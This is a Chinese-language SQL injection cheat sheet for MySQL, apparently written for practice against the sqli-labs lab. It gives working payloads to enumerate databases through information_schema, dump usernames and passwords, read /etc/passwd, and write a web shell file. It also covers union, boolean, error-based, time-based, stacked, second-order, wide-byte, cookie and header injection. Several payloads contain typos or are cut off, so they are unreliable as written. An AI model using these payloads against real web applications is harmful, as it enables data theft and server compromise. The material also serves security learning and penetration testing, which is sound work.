0x01 MySQL 5.0以上和MySQL 5.0以下版本的区别
MySQL5.0以上版本存在一个叫information_schema
的数据库,它存储着数据库的所有信息,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型和访问权限等。而5.0以下没有。
information_schema
系统数据库,记录当前数据库的数据库,表,列,用户权限信息
SCHEMATA
存储mysql所有数据库的基本信息,包括数据库名,编码类型路径等。
查询数据库:
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata #
TABLES
存储mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。
查询security库的表:
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
存储mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。
查询users表的列
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
0x02 常用信息及语句
当前用户:user()
数据库版本:version()
数据库名:database()
操作系统:@@version_compile_os
0x03 基本手工注入流程
3.1 获取字段数
order by n
3.2 获取系统数据库名
select 1,2,schema_name from information_schema.schemata
3.3 获取当前数据库名
select 1,2,3,database()
3.4 获取数据库中的表
select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
或者:
select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
3.5 获取表中的字段
select 1,2,group_concat(column_name) from information_shema.columns where table_schema=database() and table_name='users'
3.6 获取各个字段的值
select 1,group_concat(username,password) from users
3.7 读文件
select load_file('etc/passwd')
-
-
当前权限对该文件可读
-
文件在该服务器上
-
路径完整
-
文件大小小于max_allowed_packet
-
当前数据库用户有FILE权限
-
secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作
-
3.8 写文件
select ' intofile '/var/www/html/shell.php'
前提条件:
-
-
目标目录要有可写权限
-
当前数据库用户要有FILE权限
-
目标文件不能已存在
-
secure_file_priv的值为空
-
路径完整
0x04 常用注入方式
4.1 union注入
union的作用是将两个sql语句进行联合。当注入参数的数据在数据库中不存在时,两个sql语句进行联合操作时,前一个语句选择的内容为空的话,后面语句的查询内容就可以显示出来。
比如:
id=-1’ union select 1,2'
4.2 布尔注入
利用逻辑判断进行
-
-
left(database(), 1) > 's'
-
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 --+
-
ascii(substr((select database()), 1,1))=98
-
ord(mid(select infull(cast(username as char), 0x20) from security.users ORDER BY id LIMIT 0,1), 1,1))>98%23
Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值
-
regexp 正则注入
select user() regexp '^[a-z]'
-
like匹配注入
select user() like 'ro%'
-
4.3 报错注入
构造payload让信息通过错误提示回显出来,通过 floor、UpdateXml、ExtractValue、NAME_CONST、Error based Double Query Injection等方法。
-
-
floor
union select 1, count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand(0)*2)) as a from information_schema.columns group by a
-
UpdatXml (有长度限制,最长32位)
?id=1 and updatexml(1, concat(0x7e, (select @@version), 0x7e),1)
-
ExtractValue (有长度限制,最长32位)
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
-
NAME_CONST
?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
-
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
-
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))
-
polygon
id=1 and polygon((select * from(select * from(select user())a)b))
-
4.4 时间注入
延时注入
?id=1 and if(ascii(substr(database(),1,1))>115, 1, sleep(5))
4.5 堆叠查询注入
堆叠查询注入与Union查询或者Union all查询的区别在与,后两者执行的语句是有限的,只能用来执行查询语句,而堆叠注入可以执行任意语句。
比如:
Oracle不能使用堆叠注入
id = 1';select if(substr(user(),1,1)='r', sleeep(3),1)%23
4.6 二次注入
原理:在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes
或者是借助get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是写入数据库时还是保留了原始数据。比如参数的输入有 ' ,addslashes
使用\ 转义后,\ 不会插入到数据库中,数据库仍然保留的是'。
在将数据库存入到了数据库中后,开发者就默认数据是可信的,在下一次进行需要查询时,直接就从数据库中取出了脏数据,没有进一步的检验和处理,这样就会造成SQL的二次注入。
4.7 宽字节注入
利用条件:
-
-
查询参数是被单引号包围的,传入的单引号会经过转义操作
-
数据库的编码是GBK
id=-1%df' union select 1, user(),3%23
在上述条件下,单引号'被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。
-
4.8 cookie注入
Cookie: id=1 and 1=1
4.9 base64注入
对参数进行base64编码,再发送请求
4.10 XFF注入
XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址
X-Forward-For:127.0.0.1' select 1,2,user()
参考
SQL 注入总结
SQL注入备忘录